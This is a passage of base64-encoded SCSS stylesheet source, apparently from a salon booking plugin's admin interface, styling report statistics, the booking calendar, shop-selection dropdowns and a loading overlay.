0LXN0YXRpc3RpY3MgLnJvdzpub3QoOmxhc3QtY2hpbGQpIHtcbiAgICBib3JkZXItYm90dG9tOiAwLjFyZW0gc29saWQgYmxhY2s7XG4gIH1cbiAgLnJlcG9ydC1zdGF0aXN0aWNzIC5yb3c6bnRoLWNoaWxkKDMpIHtcbiAgICBmb250LXNpemU6IGxhcmdlcjtcbiAgfVxuICAucmVwb3J0LXN0YXRpc3RpY3MgLnJvdzpudGgtY2hpbGQoNCkge1xuICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICB9XG4gIC8vIFJFUE9SVFMgU1RBVElTVElDUyBFTkRcbn1cbkBpbmNsdWRlIG1ldGEubG9hZC1jc3MoJ3Nsbi1zZWxlY3QyJyk7XG5cbi8vIENBTEVOREFSXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIHtcbiAgcGFkZGluZzogYWRtaW5fY29uZmlnLiRncmlkLWd1dHRlci13aWR0aDtcbn1cbi5zYWxvbl9wYWdlX3NhbG9uLWNhbGVuZGFyIC5zbG4tY2FsZW5kYXItLXdyYXBwZXIsXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIHtcbiAgbWF4LXdpZHRoOiA5NSU7XG4gIGZvbnQtc2l6ZTogMTJweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKFxuICAgIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsXG4gICAgMC4yNVxuICApO1xuICAuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIge1xuICAgIHBhZGRpbmctbGVmdDogMTVweDtcbiAgICBwYWRkaW5nLXJpZ2h0OiAxNXB4O1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgbWFyZ2luLXRvcDogMDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICBwYWRkaW5nOiAwO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIH1cbiAgfVxuICAuYnRuLWdyb3VwOm5vdCguc2xuLWNhbGVuZGFyLXZpZXctbmF2KSB7XG4gICAgLy9tYXJnaW46IDNlbSAwICAyZW0gMDtcbiAgICAuc2xuLWJ0biB7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICBidXR0b24ge1xuICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCkgIWltcG9ydGFudDtcbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICB0b3A6IC0xcHg7XG4gICAgICAgIHJpZ2h0OiAtMXB4O1xuICAgICAgICBib3R0b206IC0xcHg7XG4gICAgICAgIGxlZnQ6IC0xcHg7XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4tYm9va2luZy1hZGQge1xuICAgICAgZmxvYXQ6IHJpZ2h0O1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAgIC5zbG4tYnRuLFxuICAgICAgLnNsbi1idG4gYnV0dG9uIHtcbiAgICAgICAgbWluLXdpZHRoOiA4MHB4O1xuICAgICAgfVxuICAgICAgLnNsbi1ib29raW5nLWFkZCB7XG4gICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tYnRuLS1tYWluLS10b25hbCxcbiAgLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLW1haW4tLXRvbmFsIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4yKTtcbiAgICAvL2JhY2tncm91bmQtY29sb3I6IHNsbi1udWNvbG9yLS1tYWluLS1saWdodCgxKTtcbiAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDEpO1xuICAgIGJvcmRlci1zdHlsZTogc29saWQ7XG4gICAgYm9yZGVyLXdpZHRoOiAxcHggMnB4IDJweCAxcHg7XG4gICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICB9XG4gICAgJjpob3ZlcixcbiAgICAmOmZvY3VzIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjIpO1xuICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgICAgLmJ0bixcbiAgICAgIGlucHV0LFxuICAgICAgYnV0dG9uIHtcbiAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICAgICAgJjpob3ZlcixcbiAgICAgICAgJjpmb2N1cyB7XG4gICAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1idG4tLXNtYWxsLnNsbi1idG4tLWljb24ge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICB9XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNsbi1zaG9wcy1zZWxlY3Rpb24td3JhcHBlciB7XG4gICAgbWFyZ2luLXRvcDogMmVtO1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIG1hcmdpbi10b3A6IDFlbTtcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgICAuc2xuLWJ0bi0tbGFyZ2Uge1xuICAgICAgICBoZWlnaHQ6IDMuNHJlbTtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDMuM3JlbTtcbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1zaG9wcy1zZWxlY3Rpb24tdHJpZ2dlciB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KSAhaW1wb3J0YW50O1xuICAgICAgbWFyZ2luLXRvcDogMjBweDtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICYuY29sbGFwc2VkIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIH1cbiAgICAgICY6bm90KC5jb2xsYXBzZWQpIHtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpIHNldHRpbmdzLW1peGlucy5yZW0oNHB4KSAwIDA7XG4gICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgICB9XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1zaG9wcy1zZWxlY3Rpb24tY3VycmVudHRpdGxlIHtcbiAgICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gICAgICBmb250LXNpemU6IDEuNzVlbTtcbiAgICAgIG1hcmdpbi1ib3R0b206IDEuNWVtO1xuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgICBmbGV4LXNocmluazogMDtcbiAgICAgIH1cbiAgICAgIHNtYWxsIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDAuNWVtO1xuICAgICAgICBmb250LXNpemU6IDAuN2VtO1xuICAgICAgICBvcGFjaXR5OiAwLjU7XG4gICAgICB9XG4gICAgfVxuICAgICNzaG9wc0xpc3Qge1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiAxMDAlO1xuICAgICAgbGVmdDogMDtcbiAgICAgIHotaW5kZXg6IDIwMDA7XG4gICAgICBtYXJnaW46IDA7XG4gICAgfVxuICAgIC5zbG4tc2hvcHMtc2VsZWN0aW9uLWxpc3Qge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gICAgICBnYXA6IDAuNzVyZW07XG4gICAgICB3aWR0aDogZml0LWNvbnRlbnQ7XG4gICAgICBwYWRkaW5nOiAxcmVtO1xuICAgICAgbWF4LXdpZHRoOiA1MHZ3O1xuICAgICAgbWF4LWhlaWdodDogNDB2aDtcbiAgICAgIG92ZXJmbG93LXk6IGF1dG87XG4gICAgICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgc2Nyb2xsYmFyLWNvbG9yOiAjZGRkO1xuICAgICAgc2Nyb2xsYmFyLXdpZHRoOiB0aGluO1xuICAgICAgYm9yZGVyOiAxcHggc29saWQgIzIxNzFCMTtcbiAgICAgICY6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIHtcbiAgICAgICAgLy8td2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCA2cHggcmdiYSgwLCAwLCAwLCAwLjMpO1xuICAgICAgICAtd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpO1xuICAgICAgICBib3JkZXI6IDJweCBzb2xpZCB3aGl0ZTtcbiAgICAgIH1cblxuICAgICAgJjo6LXdlYmtpdC1zY3JvbGxiYXIge1xuICAgICAgICB3aWR0aDogNnB4O1xuICAgICAgICBib3JkZXI6IG5vbmU7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgfVxuXG4gICAgICAmOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDtcbiAgICAgICAgLy8td2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCA2cHggcmdiYSgwLCAwLCAwLCAwLjMpO1xuICAgICAgICAtd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNjY2M7XG4gICAgICB9XG4gICAgICAvL2JvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpIHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgLy9ib3JkZXItdG9wLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAgICAgLy9ib3JkZXItYm90dG9tLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAgICAgLnNsbi1idG4ge1xuICAgICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICBtYXgtd2lkdGg6IDEwMHZ3O1xuICAgICAgICBtYXgtaGVpZ2h0OiAzMHZoO1xuICAgICAgICBwYWRkaW5nOiAwLjVyZW0gMXJlbTtcbiAgICAgICAgbGVmdDogMDtcbiAgICAgICAgcmlnaHQ6IDA7XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4tc2hvcHMtc2VsZWN0aW9uLWl0ZW0ge1xuICAgICAgZGlzcGxheTogZmxleCAhaW1wb3J0YW50O1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAgIGdhcDogMS41ZW07XG4gICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgbGluZS1oZWlnaHQ6IDEuNDtcbiAgICAgIHBhZGRpbmc6IDEuOGVtIDEuMmVtO1xuICAgICAgZm9udC1zaXplOiAxcmVtO1xuICAgICAgLmZhLFxuICAgICAgLmZhcyB7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gICAgICAgICAgZm9udC1zaXplOiAwLjkycmVtO1xuICAgICAgICAgIGZvbnQtd2VpZ2h0OiA5MDA7XG4gICAgICAgICAgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcbiAgICAgICAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgICAgICAgIGZvbnQtdmFyaWFudDogbm9ybWFsO1xuICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBhdXRvO1xuICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgICAgICAgIGNvbnRlbnQ6ICdcXGYwMGMnO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICAuc2VsZWN0ZWQge1xuICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgfVxuICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgJjpob3ZlcixcbiAgICAgICAgJjpmb2N1cyB7XG4gICAgICAgICAgLnNlbGVjdGVkIHtcbiAgICAgICAgICAgIG9wYWNpdHk6IDAuNTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICYuYWN0aXZlIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9vaztcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICAuc2VsZWN0ZWQge1xuICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIH1cbiAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAmOmhvdmVyLFxuICAgICAgICAgICY6Zm9jdXMge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICAuc2VsZWN0ZWQge1xuICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICB9XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICAgIC8vIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgICAgLy9tYXJnaW4tcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgICAgIC8vbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAgIH1cbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAgIC8vIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1OHB4KTtcbiAgICAgICAgcGFkZGluZzogMS42ZW0gMS4yZW07XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC8vIHNwYW5bZGF0YS1jYWwtZGF0ZV0ge1xuICAvLyAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhcbiAgLy8gICAgIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsXG4gIC8vICAgICAwLjVcbiAgLy8gICApO1xuICAvLyAgIHdpZHRoOiAxMDAlO1xuICAvLyAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgLy8gICBtYXJnaW4tcmlnaHQ6IDA7XG4gIC8vICAgbWFyZ2luLXRvcDogMDtcbiAgLy8gICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgLy8gICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gIC8vICAgICBkaXNwbGF5OiBibG9jaztcbiAgLy8gICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDQ0cHgpO1xuICAvLyAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ0cHgpO1xuICAvLyAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIC8vICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIC8vICAgICBtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAvLyAgICAgbWFyZ2luLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAvLyAgICAgbWFyZ2luLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG4gIC8vICAgICBib3JkZXI6IDJweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAvLyAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgLy8gICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5iLXJhZGl1cyg1MCUpO1xuICAvLyAgICAgJjpob3ZlciB7XG4gIC8vICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgLy8gICAgICAgY29sb3I6ICNmZmY7XG4gIC8vICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgLy8gICAgIH1cbiAgLy8gICB9XG4gIC8vIH1cbiAgLy8gLmNhbC1kYXktdG9kYXkgc3BhbltkYXRhLWNhbC1kYXRlXSB7XG4gIC8vICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAvLyAgICAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oNjRweCk7XG4gIC8vICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjRweCk7XG4gIC8vICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgLy8gICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG4gIC8vICAgICBjb2xvcjogI2ZmZjtcbiAgLy8gICAgIGJvcmRlcjogbm9uZTtcbiAgLy8gICB9XG4gIC8vIH1cbiAgLy8gLmNhbC15ZWFyLWJveCBzcGFuW2RhdGEtY2FsLWRhdGVdIHtcbiAgLy8gICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gIC8vICAgICB3aWR0aDogYXV0bztcbiAgLy8gICAgIHdpZHRoOiBpbml0aWFsO1xuICAvLyAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ0cHgpO1xuICAvLyAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIC8vICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gIC8vICAgICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAvLyAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmItcmFkaXVzKDAlKTtcbiAgLy8gICB9XG4gIC8vIH1cbiAgLmNhbC15ZWFyLWJveCBbY2xhc3MqPSdzcGFuJ10ge1xuICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTFlMWUxO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgbWluLWhlaWdodDogMTAwcHg7XG4gICAgfVxuICB9XG4gICNjYWwtd2Vlay1ib3gge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgYm9yZGVyOiBub25lO1xuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICB9XG4gICNjYWwtZGF5LXRpY2ssXG4gICNjYWwtc2xpZGUtdGljayB7XG4gICAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oNDRweCk7XG4gICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ0cHgpO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmItcmFkaXVzKDUwJSk7XG4gICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgLyogRklYIDA5MjAyMyovXG4gICAgJjphZnRlciB7XG4gICAgICBjb250ZW50OiAnXFxmMDc3JztcbiAgICAgIHdpZHRoOiAyMHB4O1xuICAgICAgaGVpZ2h0OiAyMHB4O1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiBjYWxjKDUwJSAtIDEwcHgpO1xuICAgICAgbGVmdDogY2FsYyg1MCUgLSAxMHB4KTtcbiAgICAgIEBleHRlbmQgJWZvbnQtaWNvbjtcbiAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMnB4KTtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgfVxuICB9XG4gICNjYWwtZGF5LXRpY2sge1xuICAgIHRvcDogYXV0bztcbiAgICB0b3A6IGluaXRpYWw7XG4gICAgYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQ1cHgpO1xuICAgIC8qIEZJWCAwOTIwMjMqL1xuICAgICY6YWZ0ZXIge1xuICAgICAgY29udGVudDogJ1xcZjA3OCc7XG4gICAgfVxuICB9XG4gICNjYWwtc2xpZGUtdGljayB7XG4gICAgdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDU0cHgpO1xuICB9XG4gIC5iYWRnZSB7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgbWFyZ2luLXRvcDogMjBweDtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDA7XG4gICAgfVxuICB9XG4gIC5zbG4tY2FsZW5kYXItdmlld25hdiB7XG4gICAgbWFyZ2luOiAwIHNldHRpbmdzLW1peGlucy5yZW0oLTIwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMjBweClcbiAgICAgIHNldHRpbmdzLW1peGlucy5yZW0oLTIwcHgpO1xuICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTAyNHB4KSBhbmQgKG9yaWVudGF0aW9uOiBsYW5kc2NhcGUpIHtcbiAgICAgIG1hcmdpbi1yaWdodDogMDtcbiAgICB9XG4gICAgLnNsbi1idG46bm90KC5zbG4tYnRuLS1sYXJnZSkge1xuICAgICAgbWluLXdpZHRoOiA5MHB4O1xuICAgIH1cbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG4gICAgICAuc2xuLWJ0biB7XG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICYuc2xuLWJ0bi0taWNvbi5zbG4tYnRuLS1pY29uLS1sZWZ0IGJ1dHRvbixcbiAgICAgICAgJi5zbG4tYnRuLS1pY29uIGJ1dHRvbiB7XG4gICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tYm94LXRpdGxlLmN1cnJlbnQtdmlldy0tdGl0bGUge1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgfVxuICAuc2xuLWJvb2tpbmctYWRkIHtcbiAgICBtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCkgMDtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAuc2xuLWNhbGVuZGFyLXZpZXduYXYsXG4gICAgLnNsbi1ib29raW5nLWFkZCB7XG4gICAgICBmbG9hdDogcmlnaHQ7XG4gICAgfVxuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgIG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gIH1cbiAgQGluY2x1ZGUgbWV0YS5sb2FkLWNzcygnYWRtaW5fY29tcG9uZW50cy9hZG1pbl9jYWxlbmRhcicpO1xuICAuY2FsLWRheS1wYWdpbmF0aW9uIHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDkwMHB4KSB7XG4gICAgICBtYXJnaW46IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgtMjBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KVxuICAgICAgICBzZXR0aW5ncy1taXhpbnMucmVtKC0yMHB4KTtcbiAgICB9XG4gIH1cbiAgLmNhbC1kYXktZmlsdGVyIHtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDkwMHB4KSB7XG4gICAgICAuY29sLW1kLTYge1xuICAgICAgICBwYWRkaW5nLXJpZ2h0OiAwO1xuICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgICB9XG4gICAgfVxuICAgICYuY2FsLWRheS1maWx0ZXItLWJlbG93IHtcbiAgICAgIG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KSAwIDAgMDtcbiAgICB9XG4gIH1cbn1cbi5zbG4tY2FsZW5kYXItLXdyYXBwZXIuc2xuLWNhbGVuZGFyLS13cmFwcGVyLS1sb2FkaW5nLFxuLnNsbi1ib29raW5nLWVkaXRvci0td3JhcHBlci5zbG4tYm9va2luZy1lZGl0b3ItLXdyYXBwZXItLWxvYWRpbmcge1xuICAvL3Bvc2l0aW9uOiByZWxhdGl2ZTtcbiAgJjpiZWZvcmUge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDA7XG4gICAgcmlnaHQ6IDA7XG4gICAgYm90dG9tOiAwO1xuICAgIGxlZnQ6IDA7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodC0tYm9yZGVyO1xuICAgIHotaW5kZXg6IDk5OTk5OTtcbiAgfVxuICAmOmFmdGVyIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICBjb250ZW50OiAnJztcbiAgICB3aWR0aDogNjBweDtcbiAgICBoZWlnaHQ6IDYwcHg7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogNjB